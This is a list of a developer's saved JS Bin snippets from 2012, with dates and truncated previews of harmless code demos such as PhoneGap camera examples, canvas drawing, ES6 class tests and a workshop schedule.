11 19 Jul 2012 Archive Un-archive Tooling workshop selection
8 19 Jul 2012 Archive Un-archive Tooling workshop selection
7 19 Jul 2012 Archive Un-archive This is the
6 19 Jul 2012 Archive Un-archive /* -- these lines shouldn't change -- */ var sessions = []; var times = ['9:30am', '11:30am', '2pm', '4pm']; var raw = "rem^Debugging^0 \ jaffathecake^SASS^0 \ rmurphey^Testing^0 \ rmurphey^RequireJS^1 \ jaffathecake^Git^1 \ rem^Build^1 \ jaffathecake^SAS
5 19 Jul 2012 Archive Un-archive /* -- these lines shouldn't change -- */ var sessions = []; var times = ['9:30am', '11:30am', '2pm', '4pm']; var raw = "rem^Debugging^0 \ jaffathecake^SASS^0 \ rmurphey^Testing^0 \ rmurphey^RequireJS^1 \ jaffathecake^Git^1 \ rem^Build^1 \ jaffathecake^SAS
4 19 Jul 2012 Archive Un-archive var sessions = []; var raw = "rem^Debugging^1 \ jaffathecake^SASS^1 \ rmurphey^Testing^1 \ rmurphey^RequireJS^2 \ jaffathecake^Git^2 \ rem^Build^2 \ jaffathecake^SASS^3 \ rmurphey^Testing^3 \ rem^Build^3 \ rmurphey^RequireJS^4 \ jaffathecake^Git^4 \ rem^D
3 19 Jul 2012 Archive Un-archive var sessions = []; var raw = "rem^Debugging^1 \ jaffathecake^SASS^1 \ rmurphey^Testing^1 \ rmurphey^RequireJS^2 \ jaffathecake^Git^2 \ rem^Build^2 \ jaffathecake^SASS^3 \ rmurphey^Testing^3 \ rem^Build^3 \ rmurphey^RequireJS^4 \ jaffathecake^Git^4 \ rem^D
2 19 Jul 2012 Archive Un-archive var sessions = []; var raw = "rem^Debugging^1 \ jaffathecake^SASS^1 \ rmurphey^Testing^1 \ rmurphey^RequireJS^2 \ jaffathecake^Git^2 \ rem^Build^2 \ jaffathecake^SASS^3 \ rmurphey^Testing^3 \ rem^Build^3 \ rmurphey^RequireJS^4\n\ jaffathecake^Git^4\n\ rem
1 19 Jul 2012 Archive Un-archive var sessions = []; var raw = ["rem^Debugging^1", "jaffathecake^SASS^1", "rmurphey^Testing^1", "rmurphey^RequireJS^2", "jaffathecake^Git^2", "rem^Build and release process^2", "jaffathecake^SASS^3", "rmurphey^Testing^3", "rem^Build and release process^3",
idohaw 12 Oct 2012 Archive Un-archive Hello Danny
igilup 11 Oct 2012 Archive Un-archive class MyArray extends Array { constructor() { super(); } sizeof() { return this.length; } } var a = new MyArray(); a.push("Hi!"); console.log( a.sizeof() ); // 1 console.log( a ); // ["Hi!"]
2 11 Oct 2012 Archive Un-archive class MyArray extends Array { constructor() { super(); } sizeof() { return this.length; } } var a = new MyArray(); a.push("Hi!"); console.log( a.sizeof() ); // 1 console.log( a ); // ["Hi!"]
1 27 Jul 2012 Archive Un-archive class MyArray extends Array { constructor() { super(); } sizeof() { return this.length; } } var a = new MyArray(); a.push("Hi!"); console.log( a.sizeof() ); // 1 console.log( a ); // ["Hi!"]
eciras 11 Oct 2012 Archive Un-archive ok
2 11 Oct 2012 Archive Un-archive /* use a function for the exact format desired... */ function ISODateString(d){ function pad(n){return n<10 ? '0'+n : n} return d.getUTCFullYear()+'-' + pad(d.getUTCMonth()+1)+'' + pad(d.getUTCDate())+'T' + pad(d.getUTCHours())+':' + pad(d.getUTCMinutes()
1 11 Oct 2012 Archive Un-archive /* use a function for the exact format desired... */ function ISODateString(d){ function pad(n){return n<10 ? '0'+n : n} return d.getUTCFullYear()+'-' + pad(d.getUTCMonth()+1)+'-' + pad(d.getUTCDate())+'T' + pad(d.getUTCHours())+':' + pad(d.getUTCMinutes(
ocojac 11 Oct 2012 Archive Un-archive Hello World Test Googles
6 21 Aug 2012 Archive Un-archive Hello World Test Googles
oqohaj 10 Oct 2012 Archive Un-archive console.log('remy');
uvacad 09 Oct 2012 Archive Un-archive JS Bin
asehix 09 Oct 2012 Archive Un-archive var iframe = document.createElement('iframe'); document.body.appendChild(iframe); var win = iframe.contentWindow, doc = win.document; $(iframe).on('load', load); function load(msg) { msg = msg || window.event; $('#debug').append('<li>' + Date() + ' // ' +
3 28 Sep 2012 Archive Un-archive var iframe = document.createElement('iframe'); document.body.appendChild(iframe); var win = iframe.contentWindow, doc = win.document; $(iframe).on('load', load); function load(msg) { msg = msg || window.event; $('#debug').append('<li>' + Date() + ' // ' +
2 28 Sep 2012 Archive Un-archive var iframe = document.createElement('iframe'); document.body.appendChild(iframe); var win = iframe.contentWindow, doc = win.document; iframe.onload = load; function load(msg) { $('#debug').append('<li>' + Date() + ' // ' + (msg.type ? 'event: ' + msg.type
iworat 09 Oct 2012 Archive Un-archive JS Bin
unezin 09 Oct 2012 Archive Un-archive JS Bin
inoveb 09 Oct 2012 Archive Un-archive this is nice
1 09 Oct 2012 Archive Un-archive this
ofimop 07 Oct 2012 Archive Un-archive var Greeter = (function () { function Greeter(message) { this.greeting = message; } Greeter.prototype.greet = function () { return "Hello, " + this.greeting; }; return Greeter; })(); var greeter = new Greeter("world"); var button = document.createElement(
1 07 Oct 2012 Archive Un-archive class Greeter { greeting: string; constructor (message: string) { this.greeting = message; } greet() { return "Hello, " + this.greeting; } } var greeter = new Greeter("world"); var button = document.createElement('button') button.innerText = "Say Hello" b
uyuxiw 06 Oct 2012 Archive Un-archive NO FRAME SETS :(
3 06 Oct 2012 Archive Un-archive NO FRAME SETS :(
2 27 Sep 2012 Archive Un-archive NO FRAME SETS :(
ijirez 04 Oct 2012 Archive Un-archive Should be a truck here:
1 04 Oct 2012 Archive Un-archive Should be a truck here:
inecuy 04 Oct 2012 Archive Un-archive alert(!!twitterlib);
uhuxoy 04 Oct 2012 Archive Un-archive JS Bin
egalez 04 Oct 2012 Archive Un-archive JS Bin
amogon 04 Oct 2012 Archive Un-archive If this works - it should play a sound - so please put your volume up!
1 04 Oct 2012 Archive Un-archive If this works - it should play a sound - so please put your volume up!
equtah 04 Oct 2012 Archive Un-archive JS Bin
aburaf 03 Oct 2012 Archive Un-archive It should work. This is Remy doing his thing on jsbin. Am I a pretty designer?
2 03 Oct 2012 Archive Un-archive It should work. This is Remy doing his thing on jsbin. Am I a pretty designer?
1 26 Sep 2012 Archive Un-archive It should work. This is Remy doing his thing on jsbin. Am I a pretty designer? No I'm writing this, and I've got Opera 'watch'ing in another window. I just wish I had stats on how many people were watching right now. ping me on @rem and tell me you're lo
ogureq 02 Oct 2012 Archive Un-archive Hello world Take a photo Capture Editable Photo From Photo Library From Photo Album
14 20 Sep 2012 Archive Un-archive My awesome camera app Take some photo Capture Editable Photo From Photo Library From Photo Album
13 20 Sep 2012 Archive Un-archive Hello world Take a photo Capture Editable Photo From Photo Library From Photo Album
12 20 Sep 2012 Archive Un-archive Hello world Take a photo Capture Editable Photo From Photo Library From Photo Album
8 20 Sep 2012 Archive Un-archive Hello world Take a photo Capture Editable Photo From Photo Library From Photo Album
7 13 Sep 2012 Archive Un-archive Take a photo Capture Editable Photo From Photo Library From Photo Album
6 12 Sep 2012 Archive Un-archive Take a photo Capture Editable Photo From Photo Library From Photo Album
5 12 Sep 2012 Archive Un-archive Take a photo Capture Editable Photo From Photo Library From Photo Album
4 12 Sep 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
3 11 Sep 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
2 11 Sep 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
1 05 Sep 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
amefet 02 Oct 2012 Archive Un-archive Just a test - is still working?
utedem 28 Sep 2012 Archive Un-archive function getIframeWindow(iframe) { return iframe.contentWindow || iframe.contentDocument.parentWindow; } var iframe = document.createElement('iframe'); iframe.src = 'http://jsbin.dev/ujidoy/1/quiet'; document.body.appendChild(iframe); var win = getIframeW
ayaqon 27 Sep 2012 Archive Un-archive &#8592; Increase Your Font Stacks with Font Matrix Matrix of fonts bundled with Mac and Windows operating systems, Microsoft Office and Adobe Creative&nbsp;Suite Mac OSWindows OSOffice WindowsOffice MacAdobe Creative Suite OS X TigerOS X LeopardWindows
isedum 26 Sep 2012 Archive Un-archive Example for Tom
ogivey 26 Sep 2012 Archive Un-archive Move the mouse null,null
1 26 Sep 2012 Archive Un-archive Move the mouse null,null
ozuyew 25 Sep 2012 Archive Un-archive Card 2 - slide flip 1 2 Flip Card Sorry, your browser does not support CSS 3D transforms. Try viewing this page in Safari, Chrome, Firefox Aurora, or on an iOS device. Example for Intro to CSS 3D transforms by David DeSandro
usaxah 25 Sep 2012 Archive Un-archive JS Bin
aluceh 25 Sep 2012 Archive Un-archive alert('this is an external JS Bin url');
eyuyux 20 Sep 2012 Archive Un-archive This is a very simple page that uses hello world and some logging. Once this page loads, it'll say hello through the console logging. It'll also throw a JavaScript exception. This paragraph can be changed too
6 09 May 2012 Archive Un-archive This is a very simple page that uses hello world and some logging. Once this page loads, it'll say hello through the console logging. It'll also throw a JavaScript exception. This paragraph can be changed too
3 06 May 2012 Archive Un-archive This is a very simple page that uses hello world and some logging. Once this page loads, it'll say hello through the console logging. It'll also throw a JavaScript exception. This paragraph can be changed too
2 06 May 2012 Archive Un-archive This is a very simple page that uses hello world and some logging. Once this page loads, it'll say hello through the console logging. It'll also throw a JavaScript exception. This paragraph can be changed too
1 01 May 2012 Archive Un-archive This is a very simple page that uses hello world and some logging. Once this page loads, it'll say hello through the console logging. It'll also throw a JavaScript exception. This paragraph can be changed too
ehahad 20 Sep 2012 Archive Un-archive Cordova Device Ready Example
iqokif 20 Sep 2012 Archive Un-archive // Zepto.js // (c) 2010, 2011 Thomas Fuchs // Zepto.js may be freely distributed under the MIT license. (function($){ if ($.os.ios) { var gesture = {}, gestureTimeout; function parentIfText(node){ return 'tagName' in node ? node : node.parentNode; } $(doc
apuxoy 13 Sep 2012 Archive Un-archive A dialog box will report the network state.
udezir 13 Sep 2012 Archive Un-archive hello world
egetib 13 Sep 2012 Archive Un-archive Hello world - does this work?
ahoqor 12 Sep 2012 Archive Un-archive A dialog box will report the network state.
2 12 Sep 2012 Archive Un-archive A dialog box will report the network state.
ololop 10 Sep 2012 Archive Un-archive /* hbox and vbox classes */ .hbox { display: -webkit-box; -webkit-box-orient: horizontal; -webkit-box-align: stretch; display: -moz-box; -moz-box-orient: horizontal; -moz-box-align: stretch; display: box; box-orient: horizontal; box-align: stretch; } .hbo
edipoy 05 Sep 2012 Archive Un-archive // http://jsbin.com/edipoy/1/watch var canvas = document.getElementsByTagName('canvas')[0], ctx = canvas.getContext('2d'); canvas.height = 300; ctx.fillRect(10, 10, 100, 50); ctx.fillStyle = 'hsla(420, 100%, 50%, 0.5)'; ctx.fillRect(20, 50, 100, 50); ctx.
ecahug 04 Sep 2012 Archive Un-archive With lanyrd-context-all + lanyrd-number-all = fail See my conferences on Lanyrd If you change lanyrd-number-all to lanyrd-number-30 it works - but the docs suggest if you use lanyrd-context-all that you should combine with lanyrd-number-all.
ezosep 04 Sep 2012 Archive Un-archive Lan
anarih 01 Sep 2012 Archive Un-archive --> PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free),
17 28 Aug 2012 Archive Un-archive --> PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free),
16 17 Aug 2012 Archive Un-archive --> PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free),
15 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
14 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
13 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
12 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
11 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
7 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
6 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
5 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
4 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
3 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
2 17 Aug 2012 Archive Un-archive PhoneGapBin Where PhoneGap and JS Bin made love, and it came out okay looking. This tool will allow you to inject, without any build or deploy, the contents of your latest JS Bin. Just enter your username below (registration on jsbin.com is free), and hi
ejohax 01 Sep 2012 Archive Un-archive hover me
ekepej 29 Aug 2012 Archive Un-archive JS Bin
ofuyit 29 Aug 2012 Archive Un-archive body, h1 { font-family: 'helvetica neue'; font-weight: 200; }
ogodim 29 Aug 2012 Archive Un-archive body { font-f
oqahab 29 Aug 2012 Archive Un-archive body { font-family:
ikemap 29 Aug 2012 Archive Un-archive body {
orapuv 29 Aug 2012 Archive Un-archive body { f
adaben 29 Aug 2012 Archive Un-archive #
esapey 29 Aug 2012 Archive Un-archive #
eziwez 28 Aug 2012 Archive Un-archive This is a canvas based on an A1 scale that will read all the photos from a named flickr photo set. I've ported this code to Node (the only changes are in the http requests) so that I can export the final canvas at full print resolution and hang it on my w
3 28 Aug 2012 Archive Un-archive This is a canvas based on an A1 scale that will read all the photos from a named flickr photo set. I've ported this code to Node (the only changes are in the http requests) so that I can export the final canvas at full print resolution and hang it on my w
2 28 Aug 2012 Archive Un-archive var n = 365, imageWidth = 75, total = 0; var ctx = document.createElement('canvas').getContext('2d'); ctx.canvas.className = 'hidden'; document.body.appendChild(ctx.canvas); ctx.canvas.height = 841; ctx.canvas.width = 594; var nextX = 0, nextY = 0, offset
1 28 Aug 2012 Archive Un-archive var n = 365, imageWidth = 75, total = 0; var ctx = document.createElement('canvas').getContext('2d'); ctx.canvas.className = 'hidden'; document.body.appendChild(ctx.canvas); // ctx.canvas.width = window.innerWidth; ctx.canvas.height = 841; // ctx.canvas.h
ovijay 28 Aug 2012 Archive Un-archive X3DOM playground
22 28 Aug 2012 Archive Un-archive X3DOM playground
upurod 28 Aug 2012 Archive Un-archive 365 for A1 canvas body { margin: 0; } canvas { display: block; background: #000; margin: 0 auto; } /*canvas.hidden { display: none; }*/ 365 for A1 canvas body { margin: 0; } canvas { display: block; background: #000; margin: 0 auto; } /*canvas.hidden {
1 28 Aug 2012 Archive Un-archive var n = 365, imageWidth = 75, total = 0; var ctx = document.createElement('canvas').getContext('2d'); ctx.canvas.className = 'hidden'; document.body.appendChild(ctx.canvas); // ctx.canvas.width = window.innerWidth; ctx.canvas.height = 841; // ctx.canvas.h
axovoc 28 Aug 2012 Archive Un-archive var n = 365, imageWidth = 75, total = 0; var ctx = document.createElement('canvas').getContext('2d'); ctx.canvas.className = 'hidden'; document.body.appendChild(ctx.canvas); // ctx.canvas.width = window.innerWidth; ctx.canvas.height = 841; // ctx.canvas.h
ikesum 28 Aug 2012 Archive Un-archive var n = 365, imageWidth = 75, total = 0; var ctx = document.createElement('canvas').getContext('2d'); ctx.canvas.className = 'hidden'; document.body.appendChild(ctx.canvas); // ctx.canvas.width = window.innerWidth; ctx.canvas.height = 841; // ctx.canvas.h
uxelej 28 Aug 2012 Archive Un-archive // Global variables float radius = 50.0; int X, Y; int nX, nY; int delay = 16; // Setup the Processing Canvas void setup(){ size( 200, 200 ); strokeWeight( 10 ); frameRate( 25 ); X = width / 2; Y = height / 2; nX = X; nY = Y; } // Main draw loop void draw
ojitah 28 Aug 2012 Archive Un-archive void setup() { size(200, 200); background(100); stroke(255); ellipse(50, 50, 25, 25); println('hello web!'); }
odiraf 28 Aug 2012 Archive Un-archive void setup() { size(200, 200); background(100); stroke(255); ellipse(50, 50, 25, 25); println('hello web!'); }
ewufof 25 Aug 2012 Archive Un-archive Hacker News new | threads | comments | ask | jobs | submit sergiotapia (35) | logout 1. India outsourcing back to USA (www.shhhhh.com.org) 36 points by nightbrawler 2 hours ago | flag | 16 comments 2. Push, push, push. Expanding your
usabax 25 Aug 2012 Archive Un-archive (function (global) { function Track(context) { context || (context = document); var isDocument = context == document, track = this, contextPos = { x: 0, y: 0 }; function addEvent(type, fn) { // context is scoped in Track object context.addEventListener(ty
irokux 25 Aug 2012 Archive Un-archive Full Frontal logo
alupag 25 Aug 2012 Archive Un-archive JS Bin
egopuc 25 Aug 2012 Archive Un-archive JS Bin
ivikan 25 Aug 2012 Archive Un-archive JS Bin
irerih 25 Aug 2012 Archive Un-archive Full Frontal
etomip 25 Aug 2012 Archive Un-archive Full F
ewazob 25 Aug 2012 Archive Un-archive JS Bin
eqeyev 25 Aug 2012 Archive Un-archive Yeah, you can see it in my gallery.">
ebeheq 24 Aug 2012 Archive Un-archive Making sure this change saves This is my test page
5 23 Aug 2012 Archive Un-archive My Title This is my test page
4 22 Aug 2012 Archive Un-archive Multi-page One I have an id of "one" on my page container. I'm first in the source order so I'm shown when the page loads. This is a multi-page boilerplate template that you can copy to build your first jQuery Mobile page. This template contains multipl
3 17 Aug 2012 Archive Un-archive Multi-page One I have an id of "one" on my page container. I'm first in the source order so I'm shown when the page loads. This is a multi-page boilerplate template that you can copy to build your first jQuery Mobile page. This template contains multipl
2 17 Aug 2012 Archive Un-archive My Title This is my test page
1 17 Aug 2012 Archive Un-archive My Title My great example
orolac 23 Aug 2012 Archive Un-archive // Hash strings to pretty colors, deterministically. (Does not make // any effort to ensure colors are significantly different from // previously returned values.) var hashToColor = function() { var cached = {}; function buildColor(hue, sat, light) { func
umamev 22 Aug 2012 Archive Un-archive Welcome to the awesome pants Capture Photo Capture Editable Photo From Photo Library From Photo Album
8 17 Aug 2012 Archive Un-archive Welcome to the awesome pants Capture Photo Capture Editable Photo From Photo Library From Photo Album
7 17 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
6 17 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
5 17 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
4 17 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
3 16 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
2 16 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
1 16 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
iwupuw 22 Aug 2012 Archive Un-archive JS Bin
epeyev 22 Aug 2012 Archive Un-archive JS Bin
acufuj 22 Aug 2012 Archive Un-archive JS Bin
udagub 22 Aug 2012 Archive Un-archive JS Bin
oyafum 22 Aug 2012 Archive Un-archive Here's some body.
1 22 Aug 2012 Archive Un-archive window.console = { log: function (str) { window.external.Notify(str); } }; // output any errors to console log, created above. window.onerror = function (msg,url,linenumber) { console.log("Error ::" + msg + " in " + url + " at line " + linenumber); }; con
ojaser 21 Aug 2012 Archive Un-archive Submit
5 21 Aug 2012 Archive Un-archive Submit
inegax 21 Aug 2012 Archive Un-archive JS Bin
eqaqey 21 Aug 2012 Archive Un-archive JS Bin
unayuc 19 Aug 2012 Archive Un-archive * { font-family: sans-serif;}
awiyof 17 Aug 2012 Archive Un-archive Loading device properties...
1 17 Aug 2012 Archive Un-archive Loading device properties...
onebiy 17 Aug 2012 Archive Un-archive console.log('ok'); // this doesn't work because there's a hidden character on the line after this comment <U+200B> - how the freck do I get rid of it? // I was thinking: // code.replace(/\u200b/, '') but that doesn't work...challenge accepted?
agunen 17 Aug 2012 Archive Un-archive console.log('ok'); // this doesn't work because there's a hidden character on the line after this comment <U+200B> - how the freck do I get rid of it? // I was thinking: // code.replace(/\x200b/, '') but that doesn't work...
uyeruh 17 Aug 2012 Archive Un-archive <
ojibut 17 Aug 2012 Archive Un-archive console.log('ok'); // this doesn't work because there's a hidden character on the line after this comment <U+200B> - how the freck do I get rid of it? // I was thinking: // code.replace(/\x200b/, '') but that doesn't work...
ezubuf 17 Aug 2012 Archive Un-archive var canvas = document.querySelector('canvas'), cx = canvas.getContext('2d'), output = { angle: document.querySelector('#angle'), length: document.querySelector('#length'), vertical: document.querySelector('#vd'), horizontal: document.querySelector('#hd')
1 17 Aug 2012 Archive Un-archive var canvas = document.querySelector('canvas'), cx = canvas.getContext('2d'), output = { angle: document.querySelector('#angle'), length: document.querySelector('#length'), vertical: document.querySelector('#vd'), horizontal: document.querySelector('#hd')
efenak 17 Aug 2012 Archive Un-archive var canvas = document.querySelector('canvas'), cx = canvas.getContext('2d'), output = { angle: document.querySelector('#angle'), length: document.querySelector('#length'), vertical: document.querySelector('#vd'), horizontal: document.querySelector('#hd')
uhesen 17 Aug 2012 Archive Un-archive Waiting for accelerometer...
3 16 Aug 2012 Archive Un-archive Waiting for accelerometer...
2 16 Aug 2012 Archive Un-archive Waiting for accelerometer...
1 16 Aug 2012 Archive Un-archive Waiting for accelerometer...
eyiler 16 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
eyuyul 16 Aug 2012 Archive Un-archive Show Alert Play Beep Vibrate
uyeqap 16 Aug 2012 Archive Un-archive Capture Photo Capture Editable Photo From Photo Library From Photo Album
etezuy 16 Aug 2012 Archive Un-archive Finding geolocation...
ojojom 16 Aug 2012 Archive Un-archive Finding geolocation...
ivazoy 15 Aug 2012 Archive Un-archive Event live: [release date] element below --> [when our event is live]
5 14 Aug 2012 Archive Un-archive Event live: [release date] element below --> [when our event is live]
ozapev 15 Aug 2012 Archive Un-archive [add your bin description]
4 15 Aug 2012 Archive Un-archive [add your bin description]
uxadij 14 Aug 2012 Archive Un-archive JS Bin
atipil 14 Aug 2012 Archive Un-archive ![img](/images/logo.png)
orocaf 13 Aug 2012 Archive Un-archive console.log(navigator.userAgent);
efeyit 13 Aug 2012 Archive Un-archive JS Bin
2 13 Aug 2012 Archive Un-archive JS Bin
ovefux 13 Aug 2012 Archive Un-archive #myCanvas { border: 1px solid #9C9898; } #myCanvas2 { border: 1px solid #9C9898; } canvas { background: red; } body { margin: 0px; padding: 0px; } window.onload = function() { var canvas = document.getElementById('myCanvas'); var context = canvas.getCon
umoqoj 13 Aug 2012 Archive Un-archive #myCanvas { border: 1px solid #9C9898; } #myCanvas2 { border: 1px solid #9C9898; } body { margin: 0px; padding: 0px; } window.onload = function() { var canvas = document.getElementById('myCanvas'); var context = canvas.getContext('2d'); context.beginPat
eyoleq 13 Aug 2012 Archive Un-archive Hi
ifomul 13 Aug 2012 Archive Un-archive H
ibusox 13 Aug 2012 Archive Un-archive Bacon ipsum dolor sit amet hamburger chuck kielbasa bresaola pork capicola short loin turkey rump tail prosciutto. Tri-tip ribeye sirloin meatloaf, hamburger tail kielbasa shank jerky leberkas shoulder ham meatball pork. Chuck sausage beef ribs fatback. H
1 13 Aug 2012 Archive Un-archive html, body { height: 4000px; background: red; margin: 0; } #box { background: white; position: fixed; right: 0; height: 500px; width: 200px; }
ecixeq 13 Aug 2012 Archive Un-archive Bacon ipsum dolor sit amet hamburger chuck kielbasa bresaola pork capicola short loin turkey rump tail prosciutto. Tri-tip ribeye sirloin meatloaf, hamburger tail kielbasa shank jerky leberkas shoulder ham meatball pork. Chuck sausage beef ribs fatback. H
aqihah 13 Aug 2012 Archive Un-archive JS Bin
unotes 13 Aug 2012 Archive Un-archive document.write('bar');
eqozac 13 Aug 2012 Archive Un-archive This is just a simple example.
ibujul 13 Aug 2012 Archive Un-archive This is j
ivirek 13 Aug 2012 Archive Un-archive JS Bin
ihemoh 10 Aug 2012 Archive Un-archive JS Bin
enufec 10 Aug 2012 Archive Un-archive Welcome
amurak 10 Aug 2012 Archive Un-archive // JS here
iyased 08 Aug 2012 Archive Un-archive JS Bin
1 08 Aug 2012 Archive Un-archive JS Bin
uhupuc 08 Aug 2012 Archive Un-archive ????? you beat this? Splendid :D Update you buggers! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! Amazing! A
efopix 08 Aug 2012 Archive Un-archive var instantiate = function (instantiate) { return function (constructor, args, prototype) { "use strict"; if (prototype) { var proto = constructor.prototype; constructor.prototype = prototype; } var instance = instantiate(constructor, args); if (proto) co
onifar 07 Aug 2012 Archive Un-archive jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs foo Select 1 Select 2 DeSelect
epekug 07 Aug 2012 Archive Un-archive &lt;script type=&quot;text/javascript&quot;&gt; alert(&quot;Just a test&quot;); &lt;/script&gt; &lt;body&gt; &lt;p&gt;Hi&lt;/p&gt; &lt;/body&gt;
3 07 Aug 2012 Archive Un-archive &lt;script type=&quot;text/javascript&quot;&gt; alert(&quot;Just a test&quot;); &lt;/script&gt; &lt;body&gt; &lt;p&gt;Hi&lt;/p&gt; &lt;/body&gt;
2 07 Aug 2012 Archive Un-archive jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs Select 1 Select 2 DeSelect
1 07 Aug 2012 Archive Un-archive Hi
elawop 07 Aug 2012 Archive Un-archive jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs jhsdgfhlsdlfkjsdklgjs Select 1 Select 2 DeSelect
ujivib 07 Aug 2012 Archive Un-archive JS Bin
4 07 Aug 2012 Archive Un-archive JS Bin
ewumir 04 Aug 2012 Archive Un-archive Hello from Remy @ Clearleft
8 04 Aug 2012 Archive Un-archive Hello from Remy @ Clearleft
6 03 Aug 2012 Archive Un-archive Hello from Remy @ Clearleft
1 31 Jul 2012 Archive Un-archive Hello from Remy @ Clearleft
ujuzux 03 Aug 2012 Archive Un-archive ...
oqejan 03 Aug 2012 Archive Un-archive var total_items_array = [{ "created_at": "Thu Jul 26 14:01:50 +0000 2012", "id": 228490315407958000, "id_str": "228490315407958016", "text": "Лятна жега налегна и лихвите http://t.co/ce3D3HRr", "source": "<a href=\"http://www.dnevnik.bg\" rel=\"nofollow\"
efenek 03 Aug 2012 Archive Un-archive ver 2!!!!
1 03 Aug 2012 Archive Un-archive JS Bin
abajuh 02 Aug 2012 Archive Un-archive ....
iyasuj 31 Jul 2012 Archive Un-archive
uqeseb 30 Jul 2012 Archive Un-archive // Execute an array of functions, releasing the UI thread // via _.defer between each execution _.chainedDefer = (function () { function next(callbacks, scope) { var cb; if (!callbacks.length) return; cb = callbacks.shift(); cb.call(scope); _.chainedDefer
uciwam 26 Jul 2012 Archive Un-archive console.log('foobar');
ucajel 26 Jul 2012 Archive Un-archive var total_items_array = [{ "created_at": "Thu Jul 26 14:01:50 +0000 2012", "id": 228490315407958000, "id_str": "228490315407958016", "text": "Лятна жега налегна и лихвите http://t.co/ce3D3HRr", "source": "<a href=\"http://www.dnevnik.bg\" rel=\"nofollow\"
h5bp 26 Jul 2012 Archive Un-archive document.getElementById("hello").innerHTML = "<strong>This URL does not have any code saved to it.</strong>";
1 26 Jul 2012 Archive Un-archive document.getElementById("hello").innerHTML = "<strong>This URL does not have any code saved to it.</strong>";
okocap 25 Jul 2012 Archive Un-archive Header Some content here.... can be anything... here is a checkbox: I agree Footer
ipimuv 25 Jul 2012 Archive Un-archive Hello world - this is neat - what will this do?
aqezof 23 Jul 2012 Archive Un-archive Simple shadow example
ilabud 23 Jul 2012 Archive Un-archive # JS Bin v3: built for sharing, education and real-time ## What is a JS Bin? JS Bin was one of the very first public paste bins with the output rendered live in your browser and available to share and edit with the completed output. [Released back in 2008
2 23 Jul 2012 Archive Un-archive font-fm
1 22 Jul 2012 Archive Un-archive # JS Bin v3: built for sharing, education and real-time ## What is a JS Bin? JS Bin was one of the very first public paste bins with the output rendered live in your browser and available to share and edit with the completed output. [Released back in 2008
aquwot 23 Jul 2012 Archive Un-archive A test for shadow
